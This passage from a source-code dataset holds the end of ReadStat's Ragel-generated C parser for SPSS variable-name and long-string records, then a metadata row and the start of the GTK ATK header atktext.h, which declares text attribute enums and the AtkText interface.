0, 5, 0, 0, 0, 0, 0, 0,
0, 0, 5, 0, 0, 0, 0, 3,
8, 0, 0, 0, 0, 0, 0, 0,
1, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 8, 0, 0, 0,
0, 8, 0, 0, 0, 0, 8, 0,
0, 0, 0, 8, 0, 0, 0, 0,
8, 0, 0, 0, 0, 8, 0, 0,
0, 0, 8, 0, 0, 0, 0, 8,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 8, 0, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 0
};
static const short _sav_long_variable_parse_eof_trans[] = {
402, 403, 404, 405, 406, 407, 408, 409,
410, 411, 412, 413, 414, 415, 416, 417,
418, 419, 420, 421, 422, 423, 424, 425,
426, 427, 428, 429, 430, 431, 432, 433,
434, 435, 436, 437, 438, 439, 440, 441,
442, 443, 444, 445, 446, 447, 448, 449,
450, 451, 452, 453, 454, 455, 456, 457,
458, 459, 460, 461, 462, 463, 464, 465,
466, 467, 468, 469, 470, 471, 472, 473,
474, 475, 476, 477, 0
};
static const int sav_long_variable_parse_start = 1;
static const int sav_long_variable_parse_en_main = 1;
#line 79 "src/spss/readstat_sav_parse.rl"
readstat_error_t sav_parse_long_variable_names_record(void *data, int count, sav_ctx_t *ctx) {
unsigned char *c_data = (unsigned char *)data;
int var_count = count_vars(ctx);
readstat_error_t retval = READSTAT_OK;
char temp_key[8+1];
char temp_val[64+1];
unsigned char *str_start = NULL;
size_t str_len = 0;
char error_buf[8192];
unsigned char *p = c_data;
unsigned char *pe = c_data + count;
varlookup_t *table = build_lookup_table(var_count, ctx);
unsigned char *eof = pe;
int cs;
#line 351 "src/spss/readstat_sav_parse.c"
{
cs = (int)sav_long_variable_parse_start;
}
#line 356 "src/spss/readstat_sav_parse.c"
{
int _klen;
unsigned int _trans = 0;
const unsigned char * _keys;
const signed char * _acts;
unsigned int _nacts;
_resume: {}
if ( p == pe && p != eof )
goto _out;
if ( p == eof ) {
if ( _sav_long_variable_parse_eof_trans[cs] > 0 ) {
_trans = (unsigned int)_sav_long_variable_parse_eof_trans[cs] - 1;
}
}
else {
_keys = ( _sav_long_variable_parse_trans_keys + (_sav_long_variable_parse_key_offsets[cs]));
_trans = (unsigned int)_sav_long_variable_parse_index_offsets[cs];
_klen = (int)_sav_long_variable_parse_single_lengths[cs];
if ( _klen > 0 ) {
const unsigned char *_lower = _keys;
const unsigned char *_upper = _keys + _klen - 1;
const unsigned char *_mid;
while ( 1 ) {
if ( _upper < _lower ) {
_keys += _klen;
_trans += (unsigned int)_klen;
break;
}
_mid = _lower + ((_upper-_lower) >> 1);
if ( ( (*( p))) < (*( _mid)) )
_upper = _mid - 1;
else if ( ( (*( p))) > (*( _mid)) )
_lower = _mid + 1;
else {
_trans += (unsigned int)(_mid - _keys);
goto _match;
}
}
}
_klen = (int)_sav_long_variable_parse_range_lengths[cs];
if ( _klen > 0 ) {
const unsigned char *_lower = _keys;
const unsigned char *_upper = _keys + (_klen<<1) - 2;
const unsigned char *_mid;
while ( 1 ) {
if ( _upper < _lower ) {
_trans += (unsigned int)_klen;
break;
}
_mid = _lower + (((_upper-_lower) >> 1) & ~1);
if ( ( (*( p))) < (*( _mid)) )
_upper = _mid - 2;
else if ( ( (*( p))) > (*( _mid + 1)) )
_lower = _mid + 2;
else {
_trans += (unsigned int)((_mid - _keys)>>1);
break;
}
}
}
_match: {}
}
cs = (int)_sav_long_variable_parse_cond_targs[_trans];
if ( _sav_long_variable_parse_cond_actions[_trans] != 0 ) {
_acts = ( _sav_long_variable_parse_actions + (_sav_long_variable_parse_cond_actions[_trans]));
_nacts = (unsigned int)(*( _acts));
_acts += 1;
while ( _nacts > 0 ) {
switch ( (*( _acts)) )
{
case 0: {
{
#line 13 "src/spss/readstat_sav_parse.rl"
memcpy(temp_key, str_start, str_len);
temp_key[str_len] = '\0';
}
#line 442 "src/spss/readstat_sav_parse.c"
break;
}
case 1: {
{
#line 20 "src/spss/readstat_sav_parse.rl"
str_start = p; }
#line 451 "src/spss/readstat_sav_parse.c"
break;
}
case 2: {
{
#line 20 "src/spss/readstat_sav_parse.rl"
str_len = p - str_start; }
#line 460 "src/spss/readstat_sav_parse.c"
break;
}
case 3: {
{
#line 102 "src/spss/readstat_sav_parse.rl"
varlookup_t *found = bsearch(temp_key, table, var_count, sizeof(varlookup_t), &compare_key_varlookup);
if (found) {
spss_varinfo_t *info = ctx->varinfo[found->index];
memcpy(info->longname, temp_val, str_len);
info->longname[str_len] = '\0';
} else if (ctx->handle.error) {
snprintf(error_buf, sizeof(error_buf), "Failed to find %s", temp_key);
ctx->handle.error(error_buf, ctx->user_ctx);
}
}
#line 479 "src/spss/readstat_sav_parse.c"
break;
}
case 4: {
{
#line 114 "src/spss/readstat_sav_parse.rl"
memcpy(temp_val, str_start, str_len);
temp_val[str_len] = '\0';
}
#line 491 "src/spss/readstat_sav_parse.c"
break;
}
case 5: {
{
#line 119 "src/spss/readstat_sav_parse.rl"
str_start = p; }
#line 500 "src/spss/readstat_sav_parse.c"
break;
}
case 6: {
{
#line 119 "src/spss/readstat_sav_parse.rl"
str_len = p - str_start; }
#line 509 "src/spss/readstat_sav_parse.c"
break;
}
}
_nacts -= 1;
_acts += 1;
}
}
if ( p == eof ) {
if ( cs >= 11 )
goto _out;
}
else {
if ( cs != 0 ) {
p += 1;
goto _resume;
}
}
_out: {}
}
#line 127 "src/spss/readstat_sav_parse.rl"
if (cs <
#line 537 "src/spss/readstat_sav_parse.c"
11
#line 129 "src/spss/readstat_sav_parse.rl"
|| p != pe) {
if (ctx->handle.error) {
snprintf(error_buf, sizeof(error_buf), "Error parsing string \"%.*s\" around byte #%ld/%d, character %c",
count, (char *)data, (long)(p - c_data), count, *p);
ctx->handle.error(error_buf, ctx->user_ctx);
}
retval = READSTAT_ERROR_PARSE;
}
if (table)
free(table);
/* suppress warning */
(void)sav_long_variable_parse_en_main;
return retval;
}
#line 560 "src/spss/readstat_sav_parse.c"
static const signed char _sav_very_long_string_parse_actions[] = {
0, 1, 1, 1, 3, 1, 4, 2,
2, 0, 2, 5, 4, 0
};
static const signed char _sav_very_long_string_parse_key_offsets[] = {
0, 0, 5, 19, 33, 47, 61, 75,
89, 103, 104, 106, 110, 112, 0
};
static const unsigned char _sav_very_long_string_parse_trans_keys[] = {
255u, 0u, 63u, 91u, 127u, 47u, 61u, 96u,
255u, 0u, 34u, 37u, 45u, 58u, 63u, 91u,
94u, 123u, 127u, 47u, 61u, 96u, 255u, 0u,
34u, 37u, 45u, 58u, 63u, 91u, 94u, 123u,
127u, 47u, 61u, 96u, 255u, 0u, 34u, 37u,
45u, 58u, 63u, 91u, 94u, 123u, 127u, 47u,
61u, 96u, 255u, 0u, 34u, 37u, 45u, 58u,
63u, 91u, 94u, 123u, 127u, 47u, 61u, 96u,
255u, 0u, 34u, 37u, 45u, 58u, 63u, 91u,
94u, 123u, 127u, 47u, 61u, 96u, 255u, 0u,
34u, 37u, 45u, 58u, 63u, 91u, 94u, 123u,
127u, 47u, 61u, 96u, 255u, 0u, 34u, 37u,
45u, 58u, 63u, 91u, 94u, 123u, 127u, 61u,
48u, 57u, 0u, 9u, 48u, 57u, 0u, 9u,
255u, 0u, 63u, 91u, 127u, 0u
};
static const signed char _sav_very_long_string_parse_single_lengths[] = {
0, 1, 4, 4, 4, 4, 4, 4,
4, 1, 0, 2, 2, 1, 0
};
static const signed char _sav_very_long_string_parse_range_lengths[] = {
0, 2, 5, 5, 5, 5, 5, 5,
5, 0, 1, 1, 0, 2, 0
};
static const signed char _sav_very_long_string_parse_index_offsets[] = {
0, 0, 4, 14, 24, 34, 44, 54,
64, 74, 76, 78, 82, 85, 0
};
static const signed char _sav_very_long_string_parse_cond_targs[] = {
0, 0, 0, 2, 0, 10, 0, 0,
0, 0, 0, 0, 0, 3, 0, 10,
0, 0, 0, 0, 0, 0, 0, 4,
0, 10, 0, 0, 0, 0, 0, 0,
0, 5, 0, 10, 0, 0, 0, 0,
0, 0, 0, 6, 0, 10, 0, 0,
0, 0, 0, 0, 0, 7, 0, 10,
0, 0, 0, 0, 0, 0, 0, 8,
0, 10, 0, 0, 0, 0, 0, 0,
0, 9, 10, 0, 11, 0, 12, 13,
11, 0, 12, 13, 0, 0, 0, 0,
2, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 0
};
static const signed char _sav_very_long_string_parse_cond_actions[] = {
0, 0, 0, 1, 0, 7, 0, 0,
0, 0, 0, 0, 0, 0, 0, 7,
0, 0, 0, 0, 0, 0, 0, 0,
0, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 7, 0, 0, 0, 0,
0, 0, 0, 0, 0, 7, 0, 0,
0, 0, 0, 0, 0, 0, 0, 7,
0, 0, 0, 0, 0, 0, 0, 0,
0, 7, 0, 0, 0, 0, 0, 0,
0, 0, 7, 0, 10, 0, 3, 3,
5, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 0, 0
};
static const signed char _sav_very_long_string_parse_eof_trans[] = {
90, 91, 92, 93, 94, 95, 96, 97,
98, 99, 100, 101, 102, 103, 0
};
static const int sav_very_long_string_parse_start = 1;
static const int sav_very_long_string_parse_en_main = 1;
#line 153 "src/spss/readstat_sav_parse.rl"
readstat_error_t sav_parse_very_long_string_record(void *data, int count, sav_ctx_t *ctx) {
unsigned char *c_data = (unsigned char *)data;
int var_count = count_vars(ctx);
readstat_error_t retval = READSTAT_OK;
char temp_key[8*4+1];
unsigned int temp_val = 0;
unsigned char *str_start = NULL;
size_t str_len = 0;
size_t error_buf_len = 1024 + count;
char *error_buf = NULL;
unsigned char *p = c_data;
unsigned char *pe = c_data + count;
unsigned char *eof = pe;
varlookup_t *table = NULL;
int cs;
error_buf = readstat_malloc(error_buf_len);
table = build_lookup_table(var_count, ctx);
#line 672 "src/spss/readstat_sav_parse.c"
{
cs = (int)sav_very_long_string_parse_start;
}
#line 677 "src/spss/readstat_sav_parse.c"
{
int _klen;
unsigned int _trans = 0;
const unsigned char * _keys;
const signed char * _acts;
unsigned int _nacts;
_resume: {}
if ( p == pe && p != eof )
goto _out;
if ( p == eof ) {
if ( _sav_very_long_string_parse_eof_trans[cs] > 0 ) {
_trans = (unsigned int)_sav_very_long_string_parse_eof_trans[cs] - 1;
}
}
else {
_keys = ( _sav_very_long_string_parse_trans_keys + (_sav_very_long_string_parse_key_offsets[cs]));
_trans = (unsigned int)_sav_very_long_string_parse_index_offsets[cs];
_klen = (int)_sav_very_long_string_parse_single_lengths[cs];
if ( _klen > 0 ) {
const unsigned char *_lower = _keys;
const unsigned char *_upper = _keys + _klen - 1;
const unsigned char *_mid;
while ( 1 ) {
if ( _upper < _lower ) {
_keys += _klen;
_trans += (unsigned int)_klen;
break;
}
_mid = _lower + ((_upper-_lower) >> 1);
if ( ( (*( p))) < (*( _mid)) )
_upper = _mid - 1;
else if ( ( (*( p))) > (*( _mid)) )
_lower = _mid + 1;
else {
_trans += (unsigned int)(_mid - _keys);
goto _match;
}
}
}
_klen = (int)_sav_very_long_string_parse_range_lengths[cs];
if ( _klen > 0 ) {
const unsigned char *_lower = _keys;
const unsigned char *_upper = _keys + (_klen<<1) - 2;
const unsigned char *_mid;
while ( 1 ) {
if ( _upper < _lower ) {
_trans += (unsigned int)_klen;
break;
}
_mid = _lower + (((_upper-_lower) >> 1) & ~1);
if ( ( (*( p))) < (*( _mid)) )
_upper = _mid - 2;
else if ( ( (*( p))) > (*( _mid + 1)) )
_lower = _mid + 2;
else {
_trans += (unsigned int)((_mid - _keys)>>1);
break;
}
}
}
_match: {}
}
cs = (int)_sav_very_long_string_parse_cond_targs[_trans];
if ( _sav_very_long_string_parse_cond_actions[_trans] != 0 ) {
_acts = ( _sav_very_long_string_parse_actions + (_sav_very_long_string_parse_cond_actions[_trans]));
_nacts = (unsigned int)(*( _acts));
_acts += 1;
while ( _nacts > 0 ) {
switch ( (*( _acts)) )
{
case 0: {
{
#line 13 "src/spss/readstat_sav_parse.rl"
memcpy(temp_key, str_start, str_len);
temp_key[str_len] = '\0';
}
#line 763 "src/spss/readstat_sav_parse.c"
break;
}
case 1: {
{
#line 20 "src/spss/readstat_sav_parse.rl"
str_start = p; }
#line 772 "src/spss/readstat_sav_parse.c"
break;
}
case 2: {
{
#line 20 "src/spss/readstat_sav_parse.rl"
str_len = p - str_start; }
#line 781 "src/spss/readstat_sav_parse.c"
break;
}
case 3: {
{
#line 178 "src/spss/readstat_sav_parse.rl"
varlookup_t *found = bsearch(temp_key, table, var_count, sizeof(varlookup_t), &compare_key_varlookup);
if (found) {
ctx->varinfo[found->index]->string_length = temp_val;
ctx->varinfo[found->index]->write_format.width = temp_val;
ctx->varinfo[found->index]->print_format.width = temp_val;
}
}
#line 797 "src/spss/readstat_sav_parse.c"
break;
}
case 4: {
{
#line 187 "src/spss/readstat_sav_parse.rl"
if ((( (*( p)))) != '\0') {
unsigned char digit = (( (*( p)))) - '0';
if (temp_val <= (UINT_MAX - digit) / 10) {
temp_val = 10 * temp_val + digit;
} else {
{p += 1; goto _out; }
}
}
}
#line 815 "src/spss/readstat_sav_parse.c"
break;
}
case 5: {
{
#line 198 "src/spss/readstat_sav_parse.rl"
temp_val = 0; }
#line 824 "src/spss/readstat_sav_parse.c"
break;
}
}
_nacts -= 1;
_acts += 1;
}
}
if ( p == eof ) {
if ( cs >= 11 )
goto _out;
}
else {
if ( cs != 0 ) {
p += 1;
goto _resume;
}
}
_out: {}
}
#line 206 "src/spss/readstat_sav_parse.rl"
if (cs <
#line 852 "src/spss/readstat_sav_parse.c"
11
#line 208 "src/spss/readstat_sav_parse.rl"
|| p != pe) {
if (ctx->handle.error) {
snprintf(error_buf, error_buf_len, "Parsed %ld of %ld bytes. Remaining bytes: %.*s",
(long)(p - c_data), (long)(pe - c_data), (int)(pe - p), p);
ctx->handle.error(error_buf, ctx->user_ctx);
}
retval = READSTAT_ERROR_PARSE;
}
if (table)
free(table);
if (error_buf)
free(error_buf);
/* suppress warning */
(void)sav_very_long_string_parse_en_main;
return retval;
}
|
10e49897ea1cd142e61848f8a8e245ba3cdc2564
|
0b1f18c37bfbf6901749916a5935c49b1afe17e3
|
/core/lib/experimental/gtk/win/include/atk-1.0/atk/atktext.h
|
7d78ab5ec191c32dd9a4f8fe917c6eef32d87656
|
[
"OpenSSL",
"Zlib",
"BSD-3-Clause"
] |
permissive
|
objeck/objeck-lang
|
2e97ff6c070492e53d4a5f1bec88e07dda4b4296
|
627482005da67618fd46133d18ade2d66e515284
|
refs/heads/master
| 2023-08-24T05:38:15.489677
| 2023-08-22T20:06:43
| 2023-08-22T20:06:43
| 20,608,381
| 240
| 33
|
NOASSERTION
| 2023-09-06T20:13:02
| 2014-06-08T03:25:12
|
C
|
UTF-8
|
C
| false
| false
| 24,342
|
h
|
atktext.h
|
/* ATK - The Accessibility Toolkit for GTK+
* Copyright 2001 Sun Microsystems Inc.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public
* License along with this library; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*/
#ifndef __ATK_TEXT_H__
#define __ATK_TEXT_H__
#if defined(ATK_DISABLE_SINGLE_INCLUDES) && !defined (__ATK_H_INSIDE__) && !defined (ATK_COMPILATION)
#error "Only <atk/atk.h> can be included directly."
#endif
#include <glib-object.h>
#include <atk/atkobject.h>
#include <atk/atkutil.h>
#include <atk/atkcomponent.h>
G_BEGIN_DECLS
/**
*AtkTextAttribute:
*@ATK_TEXT_ATTR_INVALID: Invalid attribute, like bad spelling or grammar.
*@ATK_TEXT_ATTR_LEFT_MARGIN: The pixel width of the left margin
*@ATK_TEXT_ATTR_RIGHT_MARGIN: The pixel width of the right margin
*@ATK_TEXT_ATTR_INDENT: The number of pixels that the text is indented
*@ATK_TEXT_ATTR_INVISIBLE: Either "true" or "false" indicating whether text is visible or not
*@ATK_TEXT_ATTR_EDITABLE: Either "true" or "false" indicating whether text is editable or not
*@ATK_TEXT_ATTR_PIXELS_ABOVE_LINES: Pixels of blank space to leave above each newline-terminated line.
*@ATK_TEXT_ATTR_PIXELS_BELOW_LINES: Pixels of blank space to leave below each newline-terminated line.
*@ATK_TEXT_ATTR_PIXELS_INSIDE_WRAP: Pixels of blank space to leave between wrapped lines inside the same newline-terminated line (paragraph).
*@ATK_TEXT_ATTR_BG_FULL_HEIGHT: "true" or "false" whether to make the background color for each character the height of the highest font used on the current line, or the height of the font used for the current character.
*@ATK_TEXT_ATTR_RISE: Number of pixels that the characters are risen above the baseline. See also ATK_TEXT_ATTR_TEXT_POSITION.
*@ATK_TEXT_ATTR_UNDERLINE: "none", "single", "double", "low", or "error"
*@ATK_TEXT_ATTR_STRIKETHROUGH: "true" or "false" whether the text is strikethrough
*@ATK_TEXT_ATTR_SIZE: The size of the characters in points. eg: 10
*@ATK_TEXT_ATTR_SCALE: The scale of the characters. The value is a string representation of a double
*@ATK_TEXT_ATTR_WEIGHT: The weight of the characters.
*@ATK_TEXT_ATTR_LANGUAGE: The language used
*@ATK_TEXT_ATTR_FAMILY_NAME: The font family name
*@ATK_TEXT_ATTR_BG_COLOR: The background color. The value is an RGB value of the format "%u,%u,%u"
*@ATK_TEXT_ATTR_FG_COLOR:The foreground color. The value is an RGB value of the format "%u,%u,%u"
*@ATK_TEXT_ATTR_BG_STIPPLE: "true" if a #GdkBitmap is set for stippling the background color.
*@ATK_TEXT_ATTR_FG_STIPPLE: "true" if a #GdkBitmap is set for stippling the foreground color.
*@ATK_TEXT_ATTR_WRAP_MODE: The wrap mode of the text, if any. Values are "none", "char", "word", or "word_char".
*@ATK_TEXT_ATTR_DIRECTION: The direction of the text, if set. Values are "none", "ltr" or "rtl"
*@ATK_TEXT_ATTR_JUSTIFICATION: The justification of the text, if set. Values are "left", "right", "center" or "fill"
*@ATK_TEXT_ATTR_STRETCH: The stretch of the text, if set. Values are "ultra_condensed", "extra_condensed", "condensed", "semi_condensed", "normal", "semi_expanded", "expanded", "extra_expanded" or "ultra_expanded"
*@ATK_TEXT_ATTR_VARIANT: The capitalization variant of the text, if set. Values are "normal" or "small_caps"
*@ATK_TEXT_ATTR_STYLE: The slant style of the text, if set. Values are "normal", "oblique" or "italic"
*@ATK_TEXT_ATTR_TEXT_POSITION: The vertical position with respect to the baseline. Values are "baseline", "super", or "sub". Note that a super or sub text attribute refers to position with respect to the baseline of the prior character.
*@ATK_TEXT_ATTR_LAST_DEFINED: not a valid text attribute, used for finding end of enumeration
*
* Describes the text attributes supported
**/
typedef enum
{
ATK_TEXT_ATTR_INVALID = 0,
ATK_TEXT_ATTR_LEFT_MARGIN,
ATK_TEXT_ATTR_RIGHT_MARGIN,
ATK_TEXT_ATTR_INDENT,
ATK_TEXT_ATTR_INVISIBLE,
ATK_TEXT_ATTR_EDITABLE,
ATK_TEXT_ATTR_PIXELS_ABOVE_LINES,
ATK_TEXT_ATTR_PIXELS_BELOW_LINES,
ATK_TEXT_ATTR_PIXELS_INSIDE_WRAP,
ATK_TEXT_ATTR_BG_FULL_HEIGHT,
ATK_TEXT_ATTR_RISE,
ATK_TEXT_ATTR_UNDERLINE,
ATK_TEXT_ATTR_STRIKETHROUGH,
ATK_TEXT_ATTR_SIZE,
ATK_TEXT_ATTR_SCALE,
ATK_TEXT_ATTR_WEIGHT,
ATK_TEXT_ATTR_LANGUAGE,
ATK_TEXT_ATTR_FAMILY_NAME,
ATK_TEXT_ATTR_BG_COLOR,
ATK_TEXT_ATTR_FG_COLOR,
ATK_TEXT_ATTR_BG_STIPPLE,
ATK_TEXT_ATTR_FG_STIPPLE,
ATK_TEXT_ATTR_WRAP_MODE,
ATK_TEXT_ATTR_DIRECTION,
ATK_TEXT_ATTR_JUSTIFICATION,
ATK_TEXT_ATTR_STRETCH,
ATK_TEXT_ATTR_VARIANT,
ATK_TEXT_ATTR_STYLE,
ATK_TEXT_ATTR_TEXT_POSITION,
ATK_TEXT_ATTR_LAST_DEFINED
} AtkTextAttribute;
ATK_AVAILABLE_IN_ALL
AtkTextAttribute atk_text_attribute_register (const gchar *name);
#define ATK_TYPE_TEXT (atk_text_get_type ())
#define ATK_IS_TEXT(obj) G_TYPE_CHECK_INSTANCE_TYPE ((obj), ATK_TYPE_TEXT)
#define ATK_TEXT(obj) G_TYPE_CHECK_INSTANCE_CAST ((obj), ATK_TYPE_TEXT, AtkText)
#define ATK_TEXT_GET_IFACE(obj) (G_TYPE_INSTANCE_GET_INTERFACE ((obj), ATK_TYPE_TEXT, AtkTextIface))
#ifndef _TYPEDEF_ATK_TEXT_
#define _TYPEDEF_ATK_TEXT_
typedef struct _AtkText AtkText;
#endif
typedef struct _AtkTextIface AtkTextIface;
/**
*AtkTextBoundary:
*@ATK_TEXT_BOUNDARY_CHAR: Boundary is the boundary between characters
* (including non-printing characters)
*@ATK_TEXT_BOUNDARY_WORD_START: Boundary is the start (i.e. first character) of a word.
*@ATK_TEXT_BOUNDARY_WORD_END: Boundary is the end (i.e. last
* character) of a word.
*@ATK_TEXT_BOUNDARY_SENTENCE_START: Boundary is the first character in a sentence.
*@ATK_TEXT_BOUNDARY_SENTENCE_END: Boundary is the last (terminal)
* character in a sentence; in languages which use "sentence stop"
* punctuation such as English, the boundary is thus the '.', '?', or
* similar terminal punctuation character.
*@ATK_TEXT_BOUNDARY_LINE_START: Boundary is the initial character of the content or a
* character immediately following a newline, linefeed, or return character.
*@ATK_TEXT_BOUNDARY_LINE_END: Boundary is the linefeed, or return
* character.
*
* Text boundary types used for specifying boundaries for regions of text.
* This enumeration is deprecated since 2.9.4 and should not be used. Use
* AtkTextGranularity with #atk_text_get_string_at_offset instead.
**/
typedef enum {
ATK_TEXT_BOUNDARY_CHAR,
ATK_TEXT_BOUNDARY_WORD_START,
ATK_TEXT_BOUNDARY_WORD_END,
ATK_TEXT_BOUNDARY_SENTENCE_START,
ATK_TEXT_BOUNDARY_SENTENCE_END,
ATK_TEXT_BOUNDARY_LINE_START,
ATK_TEXT_BOUNDARY_LINE_END
} AtkTextBoundary;
/**
*AtkTextGranularity:
*@ATK_TEXT_GRANULARITY_CHAR: Granularity is defined by the boundaries between characters
* (including non-printing characters)
*@ATK_TEXT_GRANULARITY_WORD: Granularity is defined by the boundaries of a word,
* starting at the beginning of the current word and finishing at the beginning of
* the following one, if present.
*@ATK_TEXT_GRANULARITY_SENTENCE: Granularity is defined by the boundaries of a sentence,
* starting at the beginning of the current sentence and finishing at the beginning of
* the following one, if present.
*@ATK_TEXT_GRANULARITY_LINE: Granularity is defined by the boundaries of a line,
* starting at the beginning of the current line and finishing at the beginning of
* the following one, if present.
*@ATK_TEXT_GRANULARITY_PARAGRAPH: Granularity is defined by the boundaries of a paragraph,
* starting at the beginning of the current paragraph and finishing at the beginning of
* the following one, if present.
*
* Text granularity types used for specifying the granularity of the region of
* text we are interested in.
**/
typedef enum {
ATK_TEXT_GRANULARITY_CHAR,
ATK_TEXT_GRANULARITY_WORD,
ATK_TEXT_GRANULARITY_SENTENCE,
ATK_TEXT_GRANULARITY_LINE,
ATK_TEXT_GRANULARITY_PARAGRAPH
} AtkTextGranularity;
/**
* AtkTextRectangle:
* @x: The horizontal coordinate of a rectangle
* @y: The vertical coordinate of a rectangle
* @width: The width of a rectangle
* @height: The height of a rectangle
*
* A structure used to store a rectangle used by AtkText.
**/
typedef struct _AtkTextRectangle AtkTextRectangle;
struct _AtkTextRectangle {
gint x;
gint y;
gint width;
gint height;
};
/**
* AtkTextRange:
* @bounds: A rectangle giving the bounds of the text range
* @start_offset: The start offset of a AtkTextRange
* @end_offset: The end offset of a AtkTextRange
* @content: The text in the text range
*
* A structure used to describe a text range.
**/
typedef struct _AtkTextRange AtkTextRange;
struct _AtkTextRange {
AtkTextRectangle bounds;
gint start_offset;
gint end_offset;
gchar* content;
};
ATK_AVAILABLE_IN_ALL
GType atk_text_range_get_type (void);
/**
*AtkTextClipType:
*@ATK_TEXT_CLIP_NONE: No clipping to be done
*@ATK_TEXT_CLIP_MIN: Text clipped by min coordinate is omitted
*@ATK_TEXT_CLIP_MAX: Text clipped by max coordinate is omitted
*@ATK_TEXT_CLIP_BOTH: Only text fully within mix/max bound is retained
*
*Describes the type of clipping required.
**/
typedef enum {
ATK_TEXT_CLIP_NONE,
ATK_TEXT_CLIP_MIN,
ATK_TEXT_CLIP_MAX,
ATK_TEXT_CLIP_BOTH
} AtkTextClipType;
/**
* AtkTextIface:
* @get_text_after_offset: Gets specified text. This virtual function
* is deprecated and it should not be overridden.
* @get_text_at_offset: Gets specified text. This virtual function
* is deprecated and it should not be overridden.
* @get_text_before_offset: Gets specified text. This virtual function
* is deprecated and it should not be overridden.
* @get_string_at_offset: Gets a portion of the text exposed through
* an AtkText according to a given offset and a specific
* granularity, along with the start and end offsets defining the
* boundaries of such a portion of text.
* @text_changed: the signal handler which is executed when there is a
* text change. This virtual function is deprecated sice 2.9.4 and
* it should not be overriden.
*/
struct _AtkTextIface
{
GTypeInterface parent;
gchar* (* get_text) (AtkText *text,
gint start_offset,
gint end_offset);
gchar* (* get_text_after_offset) (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
gchar* (* get_text_at_offset) (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
gunichar (* get_character_at_offset) (AtkText *text,
gint offset);
gchar* (* get_text_before_offset) (AtkText *text,
gint offset,
AtkTextBoundary boundary_type,
gint *start_offset,
gint *end_offset);
gint (* get_caret_offset) (AtkText *text);
AtkAttributeSet* (* get_run_attributes) (AtkText *text,
gint offset,
gint *start_offset,
gint *end_offset);
AtkAttributeSet* (* get_default_attributes) (AtkText *text);
void (* get_character_extents) (AtkText *text,
gint offset,
gint *x,
gint *y,
gint *width,
gint *height,
AtkCoordType coords);
gint (* get_character_count) (AtkText *text);
gint (* get_offset_at_point) (AtkText *text,
gint x,
gint y,
AtkCoordType coords);
gint (* get_n_selections) (AtkText *text);
gchar* (* get_selection) (AtkText *text,
gint selection_num,
gint *start_offset,
gint *end_offset);
gboolean (* add_selection) (AtkText *text,
gint start_offset,
gint end_offset);
gboolean (* remove_selection) (AtkText *text,
gint selection_num);
gboolean (* set_selection) (AtkText *text,
gint selection_num,
gint start_offset,
gint end_offset);
gboolean (* set_caret_offset) (AtkText *text,
gint offset);
/*
* signal handlers
*/
void (* text_changed) (AtkText *text,
gint position,
gint length);
void (* text_caret_moved) (AtkText *text,
gint location);
void (* text_selection_changed) (AtkText *text);
void (* text_attributes_changed) (AtkText *text);
void (* get_range_extents) (AtkText *text,
gint start_offset,
gint end_offset,
AtkCoordType coord_type,
AtkTextRectangle *rect);
AtkTextRange** (* get_bounded_ranges) (AtkText *text,
AtkTextRectangle *rect,
AtkCoordType coord_type,
AtkTextClipType x_clip_type,
AtkTextClipType y_clip_type);
gchar* (* get_string_at_offset) (AtkText *text,
gint offset,
AtkTextGranularity granularity,
gint *start_offset,
gint *end_offset);
/*
* Scrolls this text range so it becomes visible on the screen.
*
* scroll_substring_to lets the implementation compute an appropriate target
* position on the screen, with type used as a positioning hint.
*
* scroll_substring_to_point lets the client specify a precise target position
* on the screen for the top-left of the substring.
*
* Since ATK 2.32
*/
gboolean (* scroll_substring_to) (AtkText *text,
gint start_offset,
gint end_offset,
AtkScrollType type);
gboolean (* scroll_substring_to_point) (AtkText *text,
